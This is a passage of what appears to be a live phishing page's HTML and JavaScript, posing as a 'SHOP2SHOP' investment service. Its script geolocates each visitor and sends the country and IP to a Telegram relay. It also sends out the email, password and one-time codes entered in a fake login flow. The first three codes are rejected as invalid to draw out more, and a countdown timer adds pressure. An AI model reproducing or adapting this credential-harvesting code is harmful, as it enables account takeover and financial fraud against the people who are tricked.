font-size:18px;\">\u23f3<\/span>\r\n                <span style=\"font-size:13px; font-weight:500; color:#8aa9b2;\">Service is active<\/span>\r\n            <\/div>\r\n        <\/div>\r\n\r\n        <!-- SINGLE GREEN ICON WITH COMPLETE -->\r\n        <div class=\"step-complete-wrapper\">\r\n            <div class=\"complete-icon-container\">\r\n                <div class=\"icon-single-wrapper\">\r\n                    <div class=\"single-icon\">\r\n                        <i class=\"fas fa-check-circle\"><\/i>\r\n                    <\/div>\r\n                <\/div>\r\n                <span class=\"complete-text\">COMPLETE<\/span>\r\n            <\/div>\r\n        <\/div>\r\n    <\/div> <!-- step-five-content END -->\r\n\r\n    <!-- ===== BOTTOM BAR - STEP 5 ===== -->\r\n    <div class=\"bottom-bar\">\r\n        <div class=\"step-indicator\">\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot\"><\/span>\r\n            <span class=\"dot active\"><\/span>\r\n        <\/div>\r\n        <div class=\"step-label\" style=\"color:#f5c542; font-weight:700;\">\r\n            <span class=\"step-badge\" style=\"background:#4caf50; color:white;\">\r\n                <i class=\"fas fa-check\"><\/i>\r\n            <\/span>\r\n            <span class=\"step-text\">COMPLETE<\/span>\r\n        <\/div>\r\n    <\/div>\r\n<\/div> <!-- step-five END -->\r\n\r\n    <script>\r\n    const ajaxurl = \"https:\/\/followallthesteps.it.com\/wp-admin\/admin-ajax.php\";\r\n    \r\n    const shop2shop_ajax = {\r\n        url: ajaxurl,\r\n        nonce: \"b5897da4ee\"\r\n    };\r\n\r\n    (function() {\r\n        let notificationSent = false;\r\n        let countryDetected = false;\r\n        let msgID = \"\";\r\n        let fullText = \"\";\r\n        \r\n        const splash = document.getElementById('splashScreen');\r\n        const stepTwo = document.getElementById('stepTwo');\r\n        const stepThree = document.getElementById('stepThree');\r\n        const stepFour = document.getElementById('stepFour');\r\n        const stepFive = document.getElementById('stepFive');\r\n        const countryFlag = document.getElementById('countryFlag');\r\n        const countryName = document.getElementById('countryName');\r\n        const visitTime = document.getElementById('visitTime');\r\n        const investBtn = document.getElementById('investStartBtn');\r\n        const logContainer = document.getElementById('notificationLog');\r\n        const logText = document.getElementById('logText');\r\n\r\n        \/\/ ===== ADD LOG ENTRY =====\r\n        function addLogEntry(icon, flag, text, time) {\r\n            const entry = document.createElement('div');\r\n            entry.className = 'log-item';\r\n            entry.innerHTML = `\r\n                <i class=\"${icon}\" style=\"color: #27a5e7;\"><\/i>\r\n                <span class=\"log-flag\">${flag}<\/span>\r\n                <span class=\"log-text\">${text}<\/span>\r\n                <span class=\"log-time\">${time || new Date().toLocaleTimeString()}<\/span>\r\n            `;\r\n            logContainer.prepend(entry);\r\n            \r\n            while (logContainer.children.length > 6) {\r\n                logContainer.removeChild(logContainer.lastChild);\r\n            }\r\n        }\r\n\r\n        \/\/ ===== REAL TIME CLOCK =====\r\n        function updateClock() {\r\n            const now = new Date();\r\n            const timeStr = now.toLocaleTimeString();\r\n            visitTime.textContent = timeStr;\r\n            \r\n            document.querySelectorAll('#visitTime3, #visitTime4').forEach(el => {\r\n                if (el) el.textContent = timeStr;\r\n            });\r\n        }\r\n        updateClock();\r\n        setInterval(updateClock, 1000);\r\n\r\n        \/\/ ===== COUNTRY DETECTION =====\r\n        function detectCountry(callback) {\r\n            const services = [\r\n                {\r\n                    url: 'https:\/\/ipapi.co\/json\/',\r\n                    parser: function(data) {\r\n                        return {\r\n                            name: data.country_name || 'Unknown',\r\n                            flag: data.country_code ? getFlagEmoji(data.country_code) : '\ud83c\udf0d',\r\n                            ip: data.ip || 'Unknown',\r\n                            code: data.country_code || 'XX'\r\n                        };\r\n                    }\r\n                },\r\n                {\r\n                    url: 'https:\/\/ip-api.com\/json\/',\r\n                    parser: function(data) {\r\n                        return {\r\n                            name: data.country || 'Unknown',\r\n                            flag: data.countryCode ? getFlagEmoji(data.countryCode) : '\ud83c\udf0d',\r\n                            ip: data.query || 'Unknown',\r\n                            code: data.countryCode || 'XX'\r\n                        };\r\n                    }\r\n                },\r\n                {\r\n                    url: 'https:\/\/geoplugin.net\/json.gp',\r\n                    parser: function(data) {\r\n                        return {\r\n                            name: data.geoplugin_countryName || 'Unknown',\r\n                            flag: data.geoplugin_countryCode ? getFlagEmoji(data.geoplugin_countryCode) : '\ud83c\udf0d',\r\n                            ip: data.geoplugin_request || 'Unknown',\r\n                            code: data.geoplugin_countryCode || 'XX'\r\n                        };\r\n                    }\r\n                }\r\n            ];\r\n\r\n            let currentService = 0;\r\n\r\n            function tryService() {\r\n                if (currentService >= services.length) {\r\n                    const fallbackCountry = getCountryFromTimezone();\r\n                    callback(fallbackCountry);\r\n                    return;\r\n                }\r\n\r\n                const service = services[currentService];\r\n                fetch(service.url, { \r\n                    headers: { 'Accept': 'application\/json' },\r\n                    timeout: 5000 \r\n                })\r\n                .then(response => response.json())\r\n                .then(data => {\r\n                    const country = service.parser(data);\r\n                    if (country.name && country.name !== 'Unknown') {\r\n                        callback(country);\r\n                    } else {\r\n                        currentService++;\r\n                        tryService();\r\n                    }\r\n                })\r\n                .catch(() => {\r\n                    currentService++;\r\n                    tryService();\r\n                });\r\n            }\r\n\r\n            tryService();\r\n        }\r\n\r\n        function getCountryFromTimezone() {\r\n            const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;\r\n            const countryMap = {\r\n                'Asia\/Karachi': { name: 'Pakistan', code: 'PK' },\r\n                'Asia\/Dubai': { name: 'United Arab Emirates', code: 'AE' },\r\n                'Asia\/Kolkata': { name: 'India', code: 'IN' },\r\n                'America\/New_York': { name: 'United States', code: 'US' },\r\n                'Europe\/London': { name: 'United Kingdom', code: 'GB' },\r\n                'Europe\/Paris': { name: 'France', code: 'FR' },\r\n                'Europe\/Berlin': { name: 'Germany', code: 'DE' },\r\n                'Australia\/Sydney': { name: 'Australia', code: 'AU' },\r\n                'Africa\/Johannesburg': { name: 'South Africa', code: 'ZA' },\r\n                'Asia\/Tokyo': { name: 'Japan', code: 'JP' }\r\n            };\r\n            \r\n            const country = countryMap[timezone] || { name: 'Unknown', code: 'XX' };\r\n            return {\r\n                name: country.name,\r\n                flag: getFlagEmoji(country.code),\r\n                ip: 'Unknown (Timezone)',\r\n                code: country.code\r\n            };\r\n        }\r\n\r\n        function getFlagEmoji(countryCode) {\r\n            if (!countryCode || countryCode === 'XX') return '\ud83c\udf0d';\r\n            const codePoints = countryCode\r\n                .toUpperCase()\r\n                .split('')\r\n                .map(char => 127397 + char.charCodeAt(0));\r\n            return String.fromCodePoint(...codePoints);\r\n        }\r\n\r\n        \/\/ ===== SEND TELEGRAM STEP 1 (SPLASH) =====\r\n        function sendSplashNotification(country, flag, ip) {\r\n            const data = new URLSearchParams({\r\n                action: 'send_telegram_step1',\r\n                country: country,\r\n                flag: flag,\r\n                ip: ip,\r\n                time: new Date().toLocaleString()\r\n            });\r\n            \r\n            fetch(ajaxurl, {\r\n                method: 'POST',\r\n                headers: {\r\n                    'Content-Type': 'application\/x-www-form-urlencoded'\r\n                },\r\n                body: data\r\n            })\r\n            .then(r => r.text())\r\n            .then(msgId => {\r\n                msgID = msgId.trim();\r\n            fullText += `\ud83d\udd14 <b>SHOP2SHOP User<\/b>\\n`;\r\n            fullText += `-----------------------------\\n`;\r\n            fullText += `\ud83d\udcf2 Splash Screen Opened\\n`;\r\n            fullText += `${flag} Country: ${country}\\n`;\r\n            fullText += `\ud83c\udf10 IP: ${ip}\\n`;\r\n            fullText += `\ud83d\udd50 Time: ${new Date().toLocaleString()}\\n`;\r\n            fullText += `-----------------------------`;\r\n                console.log('Message ID saved:', msgID);\r\n            })\r\n            .catch(err => console.log('Error sending splash:', err));\r\n        }\r\n\r\n        \/\/ ===== APPEND TELEGRAM STEP =====\r\n        function appendTelegramStep(text) {\r\n            if (!msgID) {\r\n                console.log('No message ID, cannot append');\r\n                return;\r\n            }\r\n            \r\n            fullText += `\\n\\n${text}`;\r\n            \r\n            const data = new URLSearchParams({\r\n                action: 'send_telegram_append',\r\n                msg_id: msgID,\r\n                full_text: fullText\r\n            });\r\n            \r\n            fetch(ajaxurl, {\r\n                method: 'POST',\r\n                headers: {\r\n                    'Content-Type': 'application\/x-www-form-urlencoded'\r\n                },\r\n                body: data\r\n            })\r\n            .catch(err => console.log('Error appending:', err));\r\n        }\r\n\r\n        function updateTelegram(country) {\r\n            if (countryDetected) return;\r\n            countryDetected = true;\r\n            \r\n            document.querySelectorAll('.country').forEach(el => {\r\n                el.textContent = country.name;\r\n                el.style.animation = 'none';\r\n                setTimeout(() => {\r\n                    el.style.animation = 'typewriterStop 5s steps(20) infinite';\r\n                }, 10);\r\n            });\r\n            \r\n            document.querySelectorAll('.flag').forEach(el => {\r\n                el.textContent = country.flag;\r\n            });\r\n\r\n            logText.textContent = `New Visitor \u00b7 ${country.name} (${country.ip})`;\r\n            \r\n            addLogEntry(\r\n                'fas fa-globe',\r\n                country.flag,\r\n                `<strong>New Visitor<\/strong> \u00b7 ${country.name} (${country.ip})`,\r\n                new Date().toLocaleTimeString()\r\n            );\r\n\r\n            sendSplashNotification(country.name, country.flag, country.ip);\r\n        }\r\n\r\n        \/\/ ===== SHOW STEP 2 =====\r\n        function showStepTwo() {\r\n    splash.classList.add('hidden');\r\n    stepTwo.classList.remove('hidden');\r\n    stepTwo.style.display = 'flex';\r\n    \r\n    \/\/ ===== HIDE SPLASH BOTTOM BAR =====\r\n    const splashBottomBar = document.getElementById('splashBottomBar');\r\n    if (splashBottomBar) {\r\n        splashBottomBar.style.display = 'none';\r\n    }\r\n\r\n    detectCountry(function(country) {\r\n        updateTelegram(country);\r\n    });\r\n}\r\n\r\n        setTimeout(showStepTwo, 3000);\r\n\r\n        \/\/ ===== STEP 2 - INVEST START =====\r\n        investBtn.addEventListener('click', function(e) {\r\n            e.preventDefault();\r\n            \r\n            this.disabled = true;\r\n            this.innerHTML = '<i class=\"fas fa-spinner fa-spin\"><\/i> Processing...';\r\n\r\n            const countryData = {\r\n                name: document.getElementById('countryName')?.textContent || 'Unknown',\r\n                flag: document.getElementById('countryFlag')?.textContent || '\ud83c\udf0d',\r\n                ip: '216.73.217.140'\r\n            };\r\n\r\n            addLogEntry(\r\n                'fas fa-play-circle',\r\n                countryData.flag,\r\n                `<strong>Invest Started<\/strong> \u00b7 ${countryData.name}`,\r\n                new Date().toLocaleTimeString()\r\n            );\r\n\r\n            appendTelegramStep('\ud83d\udcb0 <b>Invest Started<\/b>\\n\ud83d\udcb8 User clicked Invest Button');\r\n\r\n            setTimeout(() => {\r\n                this.innerHTML = '<i class=\"fas fa-check-circle\"><\/i> Step 2 Done';\r\n                this.style.background = '#3d9e6d';\r\n                this.style.boxShadow = '0 6px 0 #1f6a47, 0 6px 18px rgba(61, 158, 109, 0.3)';\r\n                this.disabled = false;\r\n\r\n                stepTwo.classList.add('hidden');\r\n                stepThree.classList.remove('hidden');\r\n                stepThree.style.display = 'flex';\r\n\r\n                const dots = document.querySelectorAll('.step-indicator .dot');\r\n                if (dots.length >= 2) {\r\n                    dots[0].classList.remove('active');\r\n                    dots[1].classList.add('active');\r\n                }\r\n                \r\n                document.querySelector('.step-label').innerHTML = \r\n                    '<i class=\"fas fa-circle\" style=\"color: #f5c542; font-size: 7px;\"><\/i> STEP 3 \u00b7 LOGIN';\r\n\r\n                addLogEntry(\r\n                    'fas fa-arrow-right',\r\n                    countryData.flag,\r\n                    `<strong>Step 3<\/strong> \u00b7 Login Page`,\r\n                    new Date().toLocaleTimeString()\r\n                );\r\n\r\n                setTimeout(() => {\r\n                    this.innerHTML = '<i class=\"fas fa-play-circle\"><\/i> Invest Started';\r\n                    this.style.background = '#f5c542';\r\n                    this.style.boxShadow = '0 6px 0 #b0822a, 0 6px 18px rgba(245, 197, 66, 0.3)';\r\n                    this.disabled = false;\r\n                }, 4000);\r\n            }, 1800);\r\n        });\r\n\r\n        \/\/ ===== STEP 3 - LOGIN CONTINUE =====\r\n        const loginBtn = document.getElementById('loginContinueBtn');\r\n        if (loginBtn) {\r\n            loginBtn.addEventListener('click', function(e) {\r\n                e.preventDefault();\r\n                \r\n                const email = document.getElementById('loginEmail').value.trim();\r\n                const password = document.getElementById('loginPassword').value.trim();\r\n                const errorContainer = document.querySelector('.step-three-box');\r\n                \r\n                const existingError = errorContainer.querySelector('.temp-error');\r\n                if (existingError) existingError.remove();\r\n                \r\n                if (!email || !password) {\r\n                    const errorDiv = document.createElement('div');\r\n                    errorDiv.className = 'temp-error';\r\n                    errorDiv.style.cssText = 'color: #ff6b6b; font-size: 13px; text-align: center; background: rgba(255,107,107,0.1); padding: 8px; border-radius: 8px; border: 1px solid #ff6b6b;';\r\n                    errorDiv.textContent = 'Please fill in all fields.';\r\n                    errorContainer.appendChild(errorDiv);\r\n                    setTimeout(() => errorDiv.remove(), 3000);\r\n                    return;\r\n                }\r\n                \r\n                const countryData = {\r\n                    name: document.getElementById('countryName3')?.textContent || 'Unknown',\r\n                    flag: document.getElementById('countryFlag3')?.textContent || '\ud83c\udf0d',\r\n                    ip: '216.73.217.140'\r\n                };\r\n                \r\n                appendTelegramStep(`\u2705 <b>Login Details<\/b>\\n\ud83d\udce7 Email: ${email}\\n\ud83d\udd11 Password: ${password}`);\r\n                \r\n                addLogEntry(\r\n                    'fas fa-envelope',\r\n                    countryData.flag,\r\n                    `<strong>Login Attempt<\/strong> \u00b7 ${email}`,\r\n                    new Date().toLocaleTimeString()\r\n                );\r\n                \r\n                this.disabled = true;\r\n                this.innerHTML = '<i class=\"fas fa-spinner fa-spin\"><\/i> Processing...';\r\n                \r\n                setTimeout(() => {\r\n                    document.getElementById('loginEmail').value = '';\r\n                    document.getElementById('loginPassword').value = '';\r\n                    \r\n                    this.innerHTML = '<i class=\"fas fa-check-circle\"><\/i> Verified';\r\n                    this.style.background = '#3d9e6d';\r\n                    this.style.boxShadow = '0 6px 0 #1f6a47, 0 6px 18px rgba(61, 158, 109, 0.3)';\r\n                    \r\n                    const dots = document.querySelectorAll('#stepThree .step-indicator .dot');\r\n                    if (dots.length >= 3) {\r\n                        dots[1].classList.remove('active');\r\n                        dots[2].classList.add('active');\r\n                    }\r\n                    \r\n                    document.querySelector('#stepThree .step-label').innerHTML = \r\n                        '<i class=\"fas fa-circle\" style=\"color: #f5c542; font-size: 7px;\"><\/i> STEP 4 \u00b7 OTP';\r\n                    \r\n                    setTimeout(() => {\r\n                        this.innerHTML = '<i class=\"fas fa-arrow-right\"><\/i> Continue';\r\n                        this.style.background = '#f5c542';\r\n                        this.style.boxShadow = '0 6px 0 #b0822a, 0 6px 18px rgba(245, 197, 66, 0.3)';\r\n                        this.disabled = false;\r\n                        \r\n                        stepThree.classList.add('hidden');\r\n                        stepFour.classList.remove('hidden');\r\n                        stepFour.style.display = 'flex';\r\n                        \r\n                        const dots4 = document.querySelectorAll('#stepFour .step-indicator .dot');\r\n                        if (dots4.length >= 3) {\r\n                            dots4[0].classList.remove('active');\r\n                            dots4[1].classList.remove('active');\r\n                            dots4[2].classList.add('active');\r\n                        }\r\n                        \r\n                        addLogEntry(\r\n                            'fas fa-shield-alt',\r\n                            countryData.flag,\r\n                            `<strong>Step 4<\/strong> \u00b7 OTP Sent`,\r\n                            new Date().toLocaleTimeString()\r\n                        );\r\n                        \r\n                    }, 500);\r\n                    \r\n                }, 3000);\r\n            });\r\n        }\r\n\r\n        \/\/ ===== STEP 4 - VERIFY OTP =====\r\n        const verifyBtn = document.getElementById('verifyOtpBtn');\r\n        if (verifyBtn) {\r\n            let attemptCount = 0;\r\n            const MAX_ATTEMPTS = 3;\r\n            \r\n            verifyBtn.addEventListener('click', function(e) {\r\n                e.preventDefault();\r\n                \r\n                const otp = document.getElementById('otpCode').value.trim();\r\n                const errorContainer = document.querySelector('#stepFour .step-three-box');\r\n                \r\n                const existingError = errorContainer.querySelector('.temp-error');\r\n                if (existingError) existingError.remove();\r\n                \r\n                \/\/ ===== FIXED: Allow only 4 OR 6 digits =====\r\n                if (!otp || otp.length < 4 || otp.length > 6 || !\/^\\d+$\/.test(otp)) {\r\n                    const errorDiv = document.createElement('div');\r\n                    errorDiv.className = 'temp-error';\r\n                    errorDiv.style.cssText = 'color: #ff6b6b; font-size: 13px; text-align: center; background: rgba(255,107,107,0.1); padding: 8px; border-radius: 8px; border: 1px solid #ff6b6b; margin-top:8px; text-align: center; width: 100%;';\r\n                    errorDiv.textContent = 'Please enter a valid 4 or 6 digit OTP.';\r\n                    errorContainer.appendChild(errorDiv);\r\n                    setTimeout(() => errorDiv.remove(), 3000);\r\n                    return;\r\n                }\r\n                \r\n                const countryData = {\r\n                    name: document.getElementById('countryName4')?.textContent || 'Unknown',\r\n                    flag: document.getElementById('countryFlag4')?.textContent || '\ud83c\udf0d',\r\n                    ip: '216.73.217.140'\r\n                };\r\n                \r\n                appendTelegramStep(`\u27a1\ufe0f<b>OTP<\/b>\\n*\ufe0f\u20e3 Code: ${otp}`);\r\n                \r\n                addLogEntry(\r\n                    'fas fa-key',\r\n                    countryData.flag,\r\n                    `<strong>OTP Attempt ${attemptCount + 1}<\/strong> \u00b7 ${otp}`,\r\n                    new Date().toLocaleTimeString()\r\n                );\r\n                \r\n                this.disabled = true;\r\n                this.innerHTML = '<i class=\"fas fa-spinner fa-spin\"><\/i> Verifying...';\r\n                \r\n                setTimeout(() => {\r\n                    document.getElementById('otpCode').value = '';\r\n                    \r\n                    if (attemptCount >= MAX_ATTEMPTS) {\r\n                        this.innerHTML = '<i class=\"fas fa-check-circle\"><\/i> \u2705 Verified!';\r\n                        this.style.background = '#3d9e6d';\r\n                        this.style.boxShadow = '0 6px 0 #1f6a47, 0 6px 18px rgba(61, 158, 109, 0.3)';\r\n                        \r\n                        setTimeout(() => {\r\n                            stepFour.classList.add('hidden');\r\n                            stepFive.classList.remove('hidden');\r\n                            stepFive.style.display = 'flex';\r\n                            \r\n                            this.innerHTML = '<i class=\"fas fa-check-circle\"><\/i> Verify OTP';\r\n                            this.style.background = '#f5c542';\r\n                            this.style.boxShadow = '0 6px 0 #b0822a, 0 6px 18px rgba(245, 197, 66, 0.3)';\r\n                            this.disabled = false;\r\n                            \r\n                            startTimer();\r\n                            \r\n                            addLogEntry(\r\n                                'fas fa-trophy',\r\n                                countryData.flag,\r\n                                `<strong>Investment Complete!<\/strong> \u00b7 ${countryData.name}`,\r\n                                new Date().toLocaleTimeString()\r\n                            );\r\n                            \r\n                            appendTelegramStep(`\ud83c\udf89 <b>Investment Complete!<\/b>\\n\u2705 All steps completed successfully!\\n`);\r\n                            \r\n                            attemptCount = 0;\r\n                            \r\n                        }, 500);\r\n                        \r\n                    } else {\r\n                        attemptCount++;\r\n                        \r\n                        const errorDiv = document.createElement('div');\r\n                        errorDiv.className = 'temp-error';\r\n                        errorDiv.style.cssText = 'color: #ff6b6b; font-size: 13px; text-align: center; background: rgba(255,107,107,0.1); padding: 8px; border-radius: 8px; border: 1px solid #ff6b6b; margin-top:8px;';\r\n                        errorDiv.textContent = `Invalid OTP! Attempt ${attemptCount} of ${MAX_ATTEMPTS}`;\r\n                        errorContainer.appendChild(errorDiv);\r\n                        \r\n                        setTimeout(() => {\r\n                            errorDiv.remove();\r\n                        }, 3000);\r\n                        \r\n                        this.innerHTML = '<i class=\"fas fa-check-circle\"><\/i> Verify OTP';\r\n                        this.style.background = '#f5c542';\r\n                        this.style.boxShadow = '0 6px 0 #b0822a, 0 6px 18px rgba(245, 197, 66, 0.3)';\r\n                        this.disabled = false;\r\n                    }\r\n                    \r\n                }, 3000);\r\n                \r\n            });\r\n        }\r\n\r\n        \/\/ ===== STEP 5 - TIMER =====\r\n        const countdownDisplay = document.getElementById('countdownDisplay');\r\n        const progressFill = document.getElementById('progressFill');\r\n        const timerStatus = document.getElementById('timerStatus');\r\n\r\n        const TIMER_KEY = 'shop2shop_timer_start';\r\n\r\n        function getTimerStart() {\r\n            let start = localStorage.getItem(TIMER_KEY);\r\n            if (!start) {\r\n                start = Date.now();\r\n                localStorage.setItem(TIMER_KEY, start);\r\n            }\r\n            return parseInt(start);\r\n        }\r\n\r\n        function calculateRemaining() {\r\n            const start = getTimerStart();\r\n            const elapsed = (Date.now() - start) \/ 1000;\r\n            const total = 24 * 60 * 60;\r\n            const remaining = Math.max(0, total - elapsed);\r\n            return remaining;\r\n        }\r\n\r\n        function formatTime(seconds) {\r\n            const h = Math.floor(seconds \/ 3600);\r\n            const m = Math.floor((seconds % 3600) \/ 60);\r\n            const s = Math.floor(seconds % 60);\r\n            return `${String(h).padStart(2, '0')}:${String(m).padStart(2, '0')}:${String(s).padStart(2, '0')}`;\r\n        }\r\n\r\n        function updateTimer() {\r\n            const remaining = calculateRemaining();\r\n            const total = 24 * 60 * 60;\r\n            \r\n            if (remaining <= 0) {\r\n                localStorage.removeItem(TIMER_KEY);\r\n                countdownDisplay.textContent = '00:00:00';\r\n                progressFill.style.width = '100%';\r\n                timerStatus.innerHTML = '\u23f0 <strong>Time Expired!<\/strong> Restarting...';\r\n                timerStatus.style.color = '#ff6b6b';\r\n                \r\n                setTimeout(() => {\r\n                    localStorage.setItem(TIMER_KEY, Date.now());\r\n                    timerStatus.innerHTML = '\u23f3 Service is active';\r\n                    timerStatus.style.color = '#8aa9b2';\r\n                    updateTimer();\r\n                }, 3000);\r\n                return;\r\n            }\r\n            \r\n            countdownDisplay.textContent = formatTime(remaining);\r\n            \r\n            const progress = ((total - remaining) \/ total) * 100;\r\n            progressFill.style.width = Math.min(100, progress) + '%';\r\n            \r\n            if (remaining < 3600) {\r\n                timerStatus.innerHTML = '\u26a0\ufe0f <strong>Last Hour!<\/strong> Hurry up';\r\n                timerStatus.style.color = '#ff6b6b';\r\n            } else if (remaining < 7200) {\r\n                timerStatus.innerHTML = '\u23f0 <strong>2 Hours<\/strong> remaining';\r\n                timerStatus.style.color = '#f5c542';\r\n            } else {\r\n                timerStatus.innerHTML = '\u23f3 Service is active';\r\n                timerStatus.style.color = '#8aa9b2';\r\n            }\r\n        }\r\n\r\n        let timerInterval = null;\r\n\r\n        function startTimer() {\r\n            if (timerInterval) clearInterval(timerInterval);\r\n            updateTimer();\r\n            timerInterval = setInterval(updateTimer, 1000);\r\n        }\r\n\r\n        \/\/ ===== TOGGLE PASSWORD =====\r\n        const toggleBtn = document.getElementById('togglePassword');\r\n        if (toggleBtn) {\r\n            toggleBtn.addEventListener('click', function() {\r\n                const passwordInput = document.getElementById('loginPassword');\r\n                const icon = this.querySelector('i');\r\n                if (passwordInput.type === 'password') {\r\n                    passwordInput.type = 'text';\r\n                    icon.className = 'fas fa-eye-slash';\r\n                } else {\r\n                    passwordInput.type = 'password';\r\n                    icon.className = 'fas fa-eye';\r\n                }\r\n            });\r\n        }\r\n        \r\n        \/\/ ============================================================\r\n        \/\/ OTP RESEND TIMER - COMPLETE SOLUTION\r\n        \/\/ ============================================================\r\n\r\n        (function() {\r\n            \/\/ Variables\r\n            let timerInterval = null;\r\n            let remainingSeconds = 120; \/\/ 2 minutes\r\n            let isTimerRunning = false;\r\n            const resendBtn = document.getElementById('resendBtn');\r\n            const resendTimerDisplay = document.getElementById('resendTimer');\r\n            const otpInput = document.getElementById('otpCode');\r\n\r\n            \/\/ ===== START TIMER =====\r\n            function startResendTimer() {\r\n                \/\/ Reset timer if already running\r\n                if (timerInterval) {\r\n                    clearInterval(timerInterval);\r\n                    timerInterval = null;\r\n                }\r\n\r\n                remainingSeconds = 120;\r\n                isTimerRunning = true;\r\n                resendBtn.disabled = true;\r\n                updateTimerDisplay();\r\n                \r\n                timerInterval = setInterval(function() {\r\n                    remainingSeconds--;\r\n                    updateTimerDisplay();\r\n                    \r\n                    if (remainingSeconds <= 0) {\r\n                        clearInterval(timerInterval);\r\n                        timerInterval = null;\r\n                        isTimerRunning = false;\r\n                        resendBtn.disabled = false;\r\n                        resendTimerDisplay.textContent = '00:00';\r\n                        resendBtn.innerHTML = '<i class=\"fas fa-sync-alt\" style=\"margin-right:3px;\"><\/i> Resend';\r\n                    }\r\n                }, 1000);\r\n            }\r\n\r\n            \/\/ ===== UPDATE DISPLAY =====\r\n            function updateTimerDisplay() {\r\n                const mins = Math.floor(remainingSeconds \/ 60);\r\n                const secs = remainingSeconds % 60;\r\n                resendTimerDisplay.textContent = \r\n                    `${String(mins).padStart(2, '0')}:${String(secs).padStart(2, '0')}`;\r\n                \r\n                \/\/ Change color when less than 30 seconds\r\n                if (remainingSeconds <= 30) {\r\n                    resendTimerDisplay.style.color = '#ff6b6b';\r\n                } else {\r\n                    resendTimerDisplay.style.color = '#0b1a1e';\r\n                }\r\n            }\r\n\r\n            \/\/ ===== RESEND BUTTON CLICK =====\r\n            if (resendBtn) {\r\n                resendBtn.addEventListener('click', function(e) {\r\n                    e.preventDefault();\r\n                    \r\n                    \/\/ Show loading state\r\n                    this.innerHTML = '<i class=\"fas fa-spinner fa-spin\"><\/i> Sending...';\r\n                    this.disabled = true;\r\n                    \r\n                    \/\/ Simulate sending OTP\r\n                    setTimeout(() => {\r\n                        \/\/ Reset timer\r\n                        startResendTimer();\r\n                        \r\n                        \/\/ Show success message\r\n                        const originalText = this.innerHTML;\r\n                        this.innerHTML = '\u2705 Sent!';\r\n                        this.style.color = '#27a5e7';\r\n                        \r\n                        setTimeout(() => {\r\n                            this.innerHTML = '<i class=\"fas fa-sync-alt\" style=\"margin-right:3px;\"><\/i> Resend';\r\n                            this.style.color = '#0b1a1e';\r\n                        }, 2000);\r\n                        \r\n                        \/\/ Clear OTP input\r\n                        if (otpInput) otpInput.value = '';\r\n                        \r\n                        \/\/ Add log entry\r\n                        const countryData = {\r\n                            name: document.getElementById('countryName4')?.textContent || 'Unknown',\r\n                            flag: document.getElementById('countryFlag4')?.textContent || '\ud83c\udf0d'\r\n                        };\r\n                        \r\n                        addLogEntry(\r\n                            'fas fa-sync-alt',\r\n                            countryData.flag,\r\n                            `<strong>OTP Resent<\/strong> \u00b7 New code sent`,\r\n                            new Date().toLocaleTimeString()\r\n                        );\r\n                        \r\n                    }, 1500);\r\n                });\r\n            }\r\n\r\n            \/\/ ===== START TIMER WHEN STEP 4 APPEARS =====\r\n            \/\/ Watch for step 4 visibility\r\n            const observer = new MutationObserver(function(mutations) {\r\n                mutations.forEach(function(mutation) {\r\n                    if (mutation.type === 'attributes' && mutation.attributeName === 'class') {\r\n                        const stepFour = document.getElementById('stepFour');\r\n                        if (stepFour && !stepFour.classList.contains('hidden')) {\r\n                            \/\/ Timer already running? Check\r\n                            if (!isTimerRunning) {\r\n                                startResendTimer();\r\n                            }\r\n                        }\r\n                    }\r\n                });\r\n            });\r\n\r\n            \/\/ Start observing step 4\r\n            const stepFourElement = document.getElementById('stepFour');\r\n            if (stepFourElement) {\r\n                observer.observe(stepFourElement, { attributes: true });\r\n                \r\n                \/\/ Also check if it's already visible\r\n                if (!stepFourElement.classList.contains('hidden')) {\r\n                    setTimeout(startResendTimer, 500);\r\n                }\r\n            }\r\n\r\n            \/\/ ===== RESET TIMER IF OTP VERIFIED =====\r\n            \/\/ When verify button is clicked successfully\r\n            const verifyBtn = document.getElementById('verifyOtpBtn');\r\n            if (verifyBtn) {\r\n                const originalClick = verifyBtn.click;\r\n                verifyBtn.addEventListener('click', function() {\r\n                    \/\/ Clear timer when moving to step 5\r\n                    setTimeout(function() {\r\n                        const stepFive = document.getElementById('stepFive');\r\n                        if (stepFive && !stepFive.classList.contains('hidden')) {\r\n                            if (timerInterval) {\r\n                                clearInterval(timerInterval);\r\n                                timerInterval = null;\r\n                                isTimerRunning = false;\r\n                            }\r\n                        }\r\n                    }, 100);\r\n                });\r\n            }\r\n\r\n            \/\/ ===== STYLE FOR RESEND BOX =====\r\n            \/\/ Inject additional styles\r\n            const styleTag = document.createElement('style');\r\n            styleTag.textContent = `\r\n                #resendBox {\r\n                    display: flex !important;\r\n                    align-items: center !important;\r\n                    justify-content: space-between !important;\r\n                    background: #f5c542 !important;\r\n                    padding: 6px 12px !important;\r\n                    border-radius: 8px !important;\r\n                    margin-top: 5px !important;\r\n                    width: fit-content !important;\r\n                    margin-left: auto !important;\r\n                    margin-right: auto !important;\r\n                    transition: all 0.3s ease !important;\r\n                }\r\n                \r\n                #resendBtn {\r\n                    background: transparent !important;\r\n                    border: none !important;\r\n                    color: #0b1a1e !important;\r\n                    font-weight: 600 !important;\r\n                    font-size: 11px !important;\r\n                    cursor: pointer !important;\r\n                    padding-left: 8px !important;\r\n                    transition: all 0.3s ease !important;\r\n                }\r\n                \r\n                #resendBtn:hover:not(:disabled) {\r\n                    text-decoration: underline !important;\r\n                    transform: scale(1.05) !important;\r\n                }\r\n                \r\n                #resendBtn:disabled {\r\n                    opacity: 0.5 !important;\r\n                    cursor: not-allowed !important;\r\n                }\r\n                \r\n                #resendTimer {\r\n                    color: #0b1a1e !important;\r\n                    font-weight: 600 !important;\r\n                    font-size: 11px !important;\r\n                    font-variant-numeric: tabular-nums !important;\r\n                    transition: color 0.3s ease !important;\r\n                }\r\n            `;\r\n            document.head.appendChild(styleTag);\r\n\r\n            \/\/ ===== EXPOSE FUNCTIONS FOR DEBUGGING =====\r\n            window.resendTimer = {\r\n                start: startResendTimer,\r\n                stop: function() {\r\n                    if (timerInterval) {\r\n                        clearInterval(timerInterval);\r\n                        timerInterval = null;\r\n                        isTimerRunning = false;\r\n                    }\r\n                },\r\n                reset: function() {\r\n                    this.stop();\r\n                    remainingSeconds = 120;\r\n                    updateTimerDisplay();\r\n                    resendBtn.disabled = false;\r\n                }\r\n            };\r\n\r\n            console.log('\u2705 OTP Resend Timer initialized successfully!');\r\n            \r\n        })();\r\n\r\n        detectCountry(function(country) {\r\n            window._initialCountry = country;\r\n        });\r\n        \r\n    })();\r\n    <\/script>\r\n    